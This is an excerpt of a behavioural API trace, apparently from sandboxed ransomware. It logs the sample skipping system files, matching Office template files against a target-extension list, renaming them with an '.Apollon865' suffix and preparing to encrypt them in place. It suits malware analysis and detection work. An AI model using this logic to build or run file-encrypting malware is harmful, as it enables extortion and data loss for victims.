	[0065.330] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.330] lstrlenW (lpString="vbox") returned 4
	[0065.330] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.330] lstrlenW (lpString="vdi") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.330] lstrlenW (lpString="vhd") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.330] lstrlenW (lpString="vhdx") returned 4
	[0065.330] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.330] lstrlenW (lpString="avhd") returned 4
	[0065.330] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.330] lstrlenW (lpString="db") returned 2
	[0065.330] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.330] lstrlenW (lpString="db2") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.330] lstrlenW (lpString="db3") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.330] lstrlenW (lpString="dbf") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.330] lstrlenW (lpString="mdf") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.330] lstrlenW (lpString="mdb") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.330] lstrlenW (lpString="sql") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.330] lstrlenW (lpString="sqlite") returned 6
	[0065.330] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.330] lstrlenW (lpString="sqlite3") returned 7
	[0065.330] lstrcmpiW (lpString1="s.accft", lpString2="sqlite3") returned -1
	[0065.330] lstrlenW (lpString="sqlitedb") returned 8
	[0065.330] lstrcmpiW (lpString1="ss.accft", lpString2="sqlitedb") returned 1
	[0065.330] lstrlenW (lpString="xml") returned 3
	[0065.330] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.330] lstrlenW (lpString="$er") returned 3
	[0065.331] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.331] lstrlenW (lpString="4dd") returned 3
	[0065.331] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.331] lstrlenW (lpString="4dl") returned 3
	[0065.331] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.331] lstrlenW (lpString="^^^") returned 3
	[0065.331] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.331] lstrlenW (lpString="abs") returned 3
	[0065.331] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.331] lstrlenW (lpString="abx") returned 3
	[0065.331] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.331] lstrlenW (lpString="accdb") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.331] lstrlenW (lpString="accdc") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.331] lstrlenW (lpString="accde") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.331] lstrlenW (lpString="accdr") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.331] lstrlenW (lpString="accdt") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.331] lstrlenW (lpString="accdw") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.331] lstrlenW (lpString="accft") returned 5
	[0065.331] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.331] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft.Apollon865") returned 89
	[0065.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.332] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4417) returned 1
	[0065.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.333] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.334] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.334] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.334] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1450, lpName=0x0) returned 0x150
	[0065.335] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1450) returned 0x100000
	[0065.336] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.337] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.337] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.337] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.337] CloseHandle (hObject=0x150) returned 1
	[0065.338] CloseHandle (hObject=0xc0) returned 1
	[0065.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.338] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294be000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x294be000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Category.accft", cAlternateFileName="CATEGO~1.ACC")) returned 1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2=".") returned 1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="..") returned 1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="windows") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="bootmgr") returned 1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="temp") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="pagefile.sys") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="boot") returned 1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="ids.txt") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="ntuser.dat") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="perflogs") returned -1
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2="MSBuild") returned -1
	[0065.338] lstrlenW (lpString="Category.accft") returned 14
	[0065.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft") returned 78
	[0065.338] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Category.accft" | out: lpString1="Category.accft") returned="Category.accft"
	[0065.338] lstrlenW (lpString="Category.accft") returned 14
	[0065.338] lstrlenW (lpString="Apollon865") returned 10
	[0065.338] lstrcmpiW (lpString1="gory.accft", lpString2="Apollon865") returned 1
	[0065.338] lstrlenW (lpString=".dll") returned 4
	[0065.338] lstrcmpiW (lpString1="Category.accft", lpString2=".dll") returned 1
	[0065.338] lstrlenW (lpString=".lnk") returned 4
	[0065.339] lstrcmpiW (lpString1="Category.accft", lpString2=".lnk") returned 1
	[0065.339] lstrlenW (lpString=".ini") returned 4
	[0065.339] lstrcmpiW (lpString1="Category.accft", lpString2=".ini") returned 1
	[0065.339] lstrlenW (lpString=".sys") returned 4
	[0065.339] lstrcmpiW (lpString1="Category.accft", lpString2=".sys") returned 1
	[0065.339] lstrlenW (lpString="Category.accft") returned 14
	[0065.339] lstrlenW (lpString="bak") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.339] lstrlenW (lpString="ba_") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.339] lstrlenW (lpString="dbb") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.339] lstrlenW (lpString="vmdk") returned 4
	[0065.339] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.339] lstrlenW (lpString="rar") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.339] lstrlenW (lpString="zip") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.339] lstrlenW (lpString="tgz") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.339] lstrlenW (lpString="vbox") returned 4
	[0065.339] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.339] lstrlenW (lpString="vdi") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.339] lstrlenW (lpString="vhd") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.339] lstrlenW (lpString="vhdx") returned 4
	[0065.339] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.339] lstrlenW (lpString="avhd") returned 4
	[0065.339] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.339] lstrlenW (lpString="db") returned 2
	[0065.339] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.339] lstrlenW (lpString="db2") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.339] lstrlenW (lpString="db3") returned 3
	[0065.339] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.340] lstrlenW (lpString="dbf") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.340] lstrlenW (lpString="mdf") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.340] lstrlenW (lpString="mdb") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.340] lstrlenW (lpString="sql") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.340] lstrlenW (lpString="sqlite") returned 6
	[0065.340] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.340] lstrlenW (lpString="sqlite3") returned 7
	[0065.340] lstrcmpiW (lpString1="y.accft", lpString2="sqlite3") returned 1
	[0065.340] lstrlenW (lpString="sqlitedb") returned 8
	[0065.340] lstrcmpiW (lpString1="ry.accft", lpString2="sqlitedb") returned -1
	[0065.340] lstrlenW (lpString="xml") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.340] lstrlenW (lpString="$er") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.340] lstrlenW (lpString="4dd") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.340] lstrlenW (lpString="4dl") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.340] lstrlenW (lpString="^^^") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.340] lstrlenW (lpString="abs") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.340] lstrlenW (lpString="abx") returned 3
	[0065.340] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.340] lstrlenW (lpString="accdb") returned 5
	[0065.340] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.340] lstrlenW (lpString="accdc") returned 5
	[0065.340] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.340] lstrlenW (lpString="accde") returned 5
	[0065.340] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.340] lstrlenW (lpString="accdr") returned 5
	[0065.341] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.341] lstrlenW (lpString="accdt") returned 5
	[0065.341] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.341] lstrlenW (lpString="accdw") returned 5
	[0065.341] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.341] lstrlenW (lpString="accft") returned 5
	[0065.341] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.341] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft.Apollon865") returned 90
	[0065.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft.apollon865"), dwFlags=0x1) returned 1
	[0065.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.342] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4364) returned 1
	[0065.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.342] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.343] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.343] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.343] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1410, lpName=0x0) returned 0x150
	[0065.344] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1410) returned 0x100000
	[0065.345] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.346] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.346] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.346] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.347] CloseHandle (hObject=0x150) returned 1
	[0065.347] CloseHandle (hObject=0xc0) returned 1
	[0065.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.347] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f029110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3f029110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0065.347] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0065.347] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1134, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="NAME~1.ACC")) returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="Apollon865.txt.exe") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2=".") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="..") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="windows") returned -1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="bootmgr") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="temp") returned -1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="pagefile.sys") returned -1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="boot") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="ids.txt") returned 1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="ntuser.dat") returned -1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="perflogs") returned -1
	[0065.347] lstrcmpiW (lpString1="Name.accft", lpString2="MSBuild") returned 1
	[0065.347] lstrlenW (lpString="Name.accft") returned 10
	[0065.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft") returned 79
	[0065.348] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Name.accft" | out: lpString1="Name.accft") returned="Name.accft"
	[0065.348] lstrlenW (lpString="Name.accft") returned 10
	[0065.348] lstrlenW (lpString="Apollon865") returned 10
	[0065.348] lstrlenW (lpString=".dll") returned 4
	[0065.348] lstrcmpiW (lpString1="Name.accft", lpString2=".dll") returned 1
	[0065.348] lstrlenW (lpString=".lnk") returned 4
	[0065.348] lstrcmpiW (lpString1="Name.accft", lpString2=".lnk") returned 1
	[0065.348] lstrlenW (lpString=".ini") returned 4
	[0065.348] lstrcmpiW (lpString1="Name.accft", lpString2=".ini") returned 1
	[0065.348] lstrlenW (lpString=".sys") returned 4
	[0065.348] lstrcmpiW (lpString1="Name.accft", lpString2=".sys") returned 1
	[0065.348] lstrlenW (lpString="Name.accft") returned 10
	[0065.348] lstrlenW (lpString="bak") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.348] lstrlenW (lpString="ba_") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.348] lstrlenW (lpString="dbb") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.348] lstrlenW (lpString="vmdk") returned 4
	[0065.348] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.348] lstrlenW (lpString="rar") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.348] lstrlenW (lpString="zip") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.348] lstrlenW (lpString="tgz") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="tgz") returned -1
	[0065.348] lstrlenW (lpString="vbox") returned 4
	[0065.348] lstrcmpiW (lpString1="ccft", lpString2="vbox") returned -1
	[0065.348] lstrlenW (lpString="vdi") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="vdi") returned -1
	[0065.348] lstrlenW (lpString="vhd") returned 3
	[0065.348] lstrcmpiW (lpString1="cft", lpString2="vhd") returned -1
	[0065.348] lstrlenW (lpString="vhdx") returned 4
	[0065.348] lstrcmpiW (lpString1="ccft", lpString2="vhdx") returned -1
	[0065.348] lstrlenW (lpString="avhd") returned 4
	[0065.348] lstrcmpiW (lpString1="ccft", lpString2="avhd") returned 1
	[0065.349] lstrlenW (lpString="db") returned 2
	[0065.349] lstrcmpiW (lpString1="ft", lpString2="db") returned 1
	[0065.349] lstrlenW (lpString="db2") returned 3
	[0065.349] lstrcmpiW (lpString1="cft", lpString2="db2") returned -1
	[0065.349] lstrlenW (lpString="db3") returned 3
	[0065.349] lstrcmpiW (lpString1="cft", lpString2="db3") returned -1
	[0065.349] lstrlenW (lpString="dbf") returned 3
	[0065.349] lstrcmpiW (lpString1="cft", lpString2="dbf") returned -1
	[0065.349] lstrlenW (lpString="mdf") returned 3
	[0065.349] lstrcmpiW (lpString1="cft", lpString2="mdf") returned -1
	[0065.349] lstrlenW (lpString="mdb") returned 3
	[0065.349] lstrcmpiW (lpString1="cft", lpString2="mdb") returned -1
	[0065.350] lstrlenW (lpString="sql") returned 3
	[0065.350] lstrcmpiW (lpString1="cft", lpString2="sql") returned -1
	[0065.350] lstrlenW (lpString="sqlite") returned 6
	[0065.350] lstrcmpiW (lpString1=".accft", lpString2="sqlite") returned -1
	[0065.350] lstrlenW (lpString="sqlite3") returned 7
	[0065.350] lstrcmpiW (lpString1="e.accft", lpString2="sqlite3") returned -1
	[0065.350] lstrlenW (lpString="sqlitedb") returned 8
	[0065.350] lstrcmpiW (lpString1="me.accft", lpString2="sqlitedb") returned -1
	[0065.350] lstrlenW (lpString="xml") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="xml") returned -1
	[0065.351] lstrlenW (lpString="$er") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="$er") returned 1
	[0065.351] lstrlenW (lpString="4dd") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="4dd") returned 1
	[0065.351] lstrlenW (lpString="4dl") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="4dl") returned 1
	[0065.351] lstrlenW (lpString="^^^") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="^^^") returned 1
	[0065.351] lstrlenW (lpString="abs") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="abs") returned 1
	[0065.351] lstrlenW (lpString="abx") returned 3
	[0065.351] lstrcmpiW (lpString1="cft", lpString2="abx") returned 1
	[0065.351] lstrlenW (lpString="accdb") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accdb") returned 1
	[0065.351] lstrlenW (lpString="accdc") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accdc") returned 1
	[0065.351] lstrlenW (lpString="accde") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accde") returned 1
	[0065.351] lstrlenW (lpString="accdr") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accdr") returned 1
	[0065.351] lstrlenW (lpString="accdt") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accdt") returned 1
	[0065.351] lstrlenW (lpString="accdw") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accdw") returned 1
	[0065.351] lstrlenW (lpString="accft") returned 5
	[0065.351] lstrcmpiW (lpString1="accft", lpString2="accft") returned 0
	[0065.351] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft.Apollon865") returned 86
	[0065.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft.apollon865"), dwFlags=0x1) returned 1
